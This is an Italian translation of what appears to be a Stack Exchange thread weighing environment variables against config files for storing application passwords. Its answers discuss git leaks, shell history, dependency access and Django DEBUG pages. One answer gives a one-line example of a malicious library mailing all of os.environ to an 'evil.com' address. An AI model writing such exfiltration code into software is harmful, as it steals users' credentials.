È sicuro memorizzare le password come variabili di ambiente (piuttosto che come testo normale) nei file di configurazione?

Lavoro su alcune app in rails, django (e un po 'di php), e una delle cose che ho iniziato a fare in alcune di esse è archiviare database e altre password come variabili di ambiente piuttosto che testo semplice in determinati file di configurazione ( o in settings.py, per le app django).

Discutendone con uno dei miei collaboratori, ha suggerito che questa è una cattiva pratica - che forse non è così perfettamente sicura come potrebbe sembrare a prima vista.

Quindi, vorrei sapere: è una pratica sicura? È più sicuro memorizzare le password come testo normale in questi file (assicurandosi, ovviamente, di non lasciare questi file in repository pubblici o altro)?

A un livello più teorico, tendo a pensare ai livelli di sicurezza nei seguenti modi (in ordine di forza crescente):

• Nessuna sicurezza. Testo normale. Chiunque sappia dove cercare, può accedere ai dati.
• Sicurezza tramite offuscamento. Memorizzi i dati (testo in chiaro) in un posto complicato, come una variabile di ambiente, o in un file che dovrebbe apparire come un file di configurazione. Un aggressore alla fine capirà cosa sta succedendo o si imbatterà in esso.
• Sicurezza fornita dalla crittografia che è banale da violare (pensa al cifrario Cesare!).
• Sicurezza fornita dalla crittografia che può essere violata con un certo sforzo.
• Sicurezza fornita dalla crittografia che non è pratica per violare l'hardware corrente.
• Il sistema più sicuro è quello che nessuno può usare! :)

Le variabili d'ambiente sono più sicure dei file di testo normale, perché sono volatili / usa e getta, non salvate; cioè se si imposta solo una variabile di ambiente locale, come "set pwd = any", e quindi si esegue lo script, con qualcosa che esce dalla shell dei comandi alla fine dello script, la variabile non esiste più. Il tuo caso rientra nei primi due, il che direi abbastanza insicuro. Se avessi intenzione di farlo, non consiglierei di distribuire al di fuori della tua rete intranet / domestica immediata e quindi solo a scopo di test.

Come accennato prima, entrambi i metodi non forniscono alcun livello di "sicurezza" aggiuntiva una volta che il sistema è compromesso. Credo che uno dei motivi più forti per favorire le variabili d'ambiente sia il controllo della versione : ho visto troppe configurazioni di database, ecc., Archiviate accidentalmente nel sistema di controllo della versione come GIT perché tutti gli altri sviluppatori possano vederle (e whoops! anche me ...).

La mancata memorizzazione delle password nei file rende impossibile la memorizzazione nel sistema di controllo della versione.

Ogni volta che devi memorizzare una password, non è sicura. Periodo. Non è possibile archiviare in modo sicuro una password non crittografata. Ora quale delle variabili di ambiente rispetto ai file di configurazione è più "sicura" è forse discutibile. IMHO, se il tuo sistema è compromesso, non importa dove sia archiviato, un diligente hacker può rintracciarlo.

Mi dispiace non ho avuto abbastanza rappresentante per commentare, ma volevo anche aggiungere che se non stai attento, la tua shell potrebbe catturare anche quella password nella sua cronologia dei comandi. Quindi eseguire qualcosa di simile $ pwd=mypassword my_progmanualmente non è effimero come avresti potuto sperare.

Penso che quando possibile dovresti memorizzare le tue credenziali in un file gitignored e non come variabili di ambiente.

Una delle cose da considerare quando si memorizzano le credenziali nelle variabili ENV (ambiente) rispetto a un file è che le variabili ENV possono essere facilmente ispezionate da qualsiasi libreria o dipendenza utilizzata.

Questo può essere fatto maliziosamente o meno. Ad esempio, l'autore di una libreria potrebbe inviare tramite posta elettronica le tracce dello stack più le variabili ENV per il debug (non è la migliore pratica, ma è possibile farlo).

Se le tue credenziali sono in un file, è molto più difficile inserirle.

In particolare, pensa a un npm in node. Per un npm controllare le tue credenziali se sono nell'ENV è una questione semplice process.ENV. Se invece sono in un file, è molto più lavoro.

Se il tuo file delle credenziali è controllato dalla versione o meno è una domanda a parte. Il mancato controllo della versione del file delle credenziali lo espone a meno persone. Non è necessario che tutti gli sviluppatori conoscano le credenziali di produzione. Poiché questo è conforme al principio del privilegio minimo, suggerirei di ignorare il file delle credenziali di git.

Dipende dal tuo modello di minaccia.

Stai cercando di impedire ai tuoi utenti di spargere password in tutti i loro file system dove è probabile che vengano dimenticate e gestite in modo improprio? Se è così, allora sì, perché le variabili ambientali sono meno persistenti dei file.

Stai cercando di proteggerti da qualcosa di dannoso che prende di mira direttamente il tuo programma? Se è così, allora no, perché le variabili di ambiente non hanno lo stesso livello di controllo dell'accesso dei file.

Personalmente, penso che gli utenti negligenti siano più comuni degli avversari motivati, quindi sceglierei l'approccio delle variabili ambientali.

AFAICT, ci sono due ragioni per cui le persone consigliano di memorizzare i segreti nelle variabili di ambiente:

1. È troppo facile eseguire il commit inavvertitamente di file flat segreti in un repository. (E se si tratta di un repo pubblico, sei brindisi.)
2. Previene l'ingombro delle password, ovvero avere la stessa chiave in molti file di directory di progetto diversi è di per sé un rischio per la sicurezza poiché gli sviluppatori finiranno per perdere traccia di dove si trovano i segreti.

Questi due problemi possono essere risolti in modi migliori. Il primo dovrebbe essere risolto da un hook git commit che controlla le cose che sembrano password (ad esempio, gitleaks ). Vorrei che Linus incorporasse uno strumento del genere nel codice sorgente della libreria git ma, ahimè, ciò non è accaduto. (Inutile dire che i file segreti dovrebbero sempre essere aggiunti .gitignore, ma è necessario un hook nel caso in cui qualcuno si dimentichi di farlo.)

Quest'ultimo può essere risolto disponendo di un file dei segreti aziendali globale, che è idealmente archiviato su un drive condiviso di sola lettura. Quindi, in Python, potresti avere qualcosa di simile from company_secrets import *.

Ancora più importante, come sottolineato da altri, è troppo facile hackerare i segreti archiviati nelle variabili di ambiente. Ad esempio, in Python, l'autore di una libreria potrebbe inserire send_email(address="evil.person@evil.com", text=json.dumps(os.environ))e poi sei brindisi se esegui questo codice. L'hacking è molto più impegnativo se hai un file sul tuo sistema chiamato ~/secret_company_stuff/.my_very_secret_company_stuff.

Solo utenti Django:
Django (in modalità DEBUG) mostra il valore grezzo di una variabile d'ambiente nel browser se c'è un'eccezione (in modalità DEBUG). Ciò sembra altamente insicuro se, ad esempio, uno sviluppatore si mette accidentalmente DEBUG=Truein produzione. Al contrario, Django FA offuscare variabili impostazioni password, cercando per le stringhe API, TOKEN, KEY, SECRET, PASSo SIGNATUREnel quadro di settings.pynomi di variabili del file.